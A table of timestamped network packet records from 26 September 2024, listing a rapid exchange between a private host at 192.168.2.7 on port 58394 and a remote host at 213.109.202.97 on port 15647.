Sep 26, 2024 01:49:23.656054020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.666930914 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.666994095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.671766996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.671823978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.676594019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.676928043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.681704998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.682332993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.687177896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.687221050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.692799091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.692919970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.697704077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.697983980 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.702956915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:23.727993011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:23.732841015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.117716074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.124696970 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.125441074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.132289886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.132330894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.139271975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.139333963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.146212101 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.146367073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.153119087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.153218985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.159949064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.160012007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.167551994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.167610884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.175035954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.175329924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.184885979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.184998989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.189745903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.189831972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.194653034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.194709063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.199553013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.199639082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.204660892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.204729080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.209516048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.209563971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.214382887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.214481115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.219305992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.220055103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.224863052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.224910975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.229788065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.229835987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.234613895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.234658003 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.239466906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.239564896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.244358063 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.244405985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.249244928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.249288082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.254096031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.254154921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.258963108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.259012938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.263834000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.263890982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.268668890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.269951105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.274736881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.275567055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.280292034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.284101963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.288904905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.291553974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.296365023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.299945116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.304825068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.308007956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.314989090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.317552090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.322303057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.324048042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.328867912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.329541922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.334362984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.335668087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.340517998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.343693972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.348546028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.351620913 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.356393099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.359658957 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.364495039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.367944956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.372756958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.373485088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.378305912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.382803917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.387723923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.387789011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.392628908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.392683029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.397605896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.397656918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.402478933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.402559996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.407378912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.419167042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.423945904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.423990965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.428767920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.428817034 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.433595896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.433676958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.438468933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.438613892 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.443439007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.443492889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.448406935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.448471069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.453237057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.453291893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.458214045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.458271980 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.463200092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.463283062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.468111038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.468159914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.472940922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.473001003 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.477811098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.477986097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.482872963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.482937098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.487972975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.488033056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.492803097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.492863894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.497759104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.497854948 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.502687931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.502737045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.507636070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.511890888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.516788960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.519741058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.524545908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.527896881 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.532960892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.535718918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.540553093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.543495893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.548335075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.548388958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.553179026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.553241968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.558096886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.558175087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.562989950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.563041925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.567852020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.567924023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.572717905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.572834969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.577627897 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.577718973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.582525015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.582739115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.588700056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.588753939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.593570948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.593627930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.598473072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.598531008 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.603429079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.603543997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.608345985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.611640930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.616419077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.619878054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.624706984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.627578974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.632402897 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.636006117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.640734911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.643574953 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.648351908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.651976109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.656752110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.661531925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.666351080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.669537067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.674367905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.677548885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.682322979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.683630943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.688390970 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.688474894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.693243027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.697022915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.701852083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.701905966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.706753016 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.706813097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.711720943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.712622881 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.717495918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.717572927 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.722374916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.723958969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.728828907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.730973005 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.735766888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.736017942 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.740832090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.740884066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.745691061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.745734930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.750519037 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.750597954 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.755428076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.755475998 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.760253906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.760318041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.765084982 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.765167952 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.769911051 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.769958973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.774739981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.774790049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.779561043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.779611111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.784353971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.784405947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.789237022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.789310932 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.794116974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.794179916 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.798930883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.799029112 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.803905964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.803953886 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.808717966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.808828115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.813644886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.813714027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.818461895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.818535089 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.823445082 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.823518991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.828255892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.828309059 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.833324909 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.833404064 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.838430882 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.838476896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.843245029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.843291998 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.848099947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.848176956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.853259087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.853310108 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.858167887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.858251095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.863091946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.863142014 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.867930889 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.868009090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.873464108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.873512983 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.878420115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.878482103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.883276939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.883403063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.888219118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.888307095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.893593073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.893666983 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.898654938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.898878098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.903587103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.903640032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.908384085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.908433914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.913216114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.913264036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.918056011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.918265104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.923151970 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.923264027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.928033113 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.928078890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.932904005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.932986021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.937786102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.937829018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.942645073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.942795038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.947515965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.947561026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.952312946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.952564955 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.957391024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.957442045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.962341070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.962384939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.967133045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.967181921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.972187996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.972248077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.976969957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.977087021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.981885910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.981966972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.986720085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.986800909 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.991545916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.991627932 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:24.996396065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:24.996463060 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.001231909 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.001326084 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.006376028 CEST	15647	58394	213.109.202.97	192.168.2.7
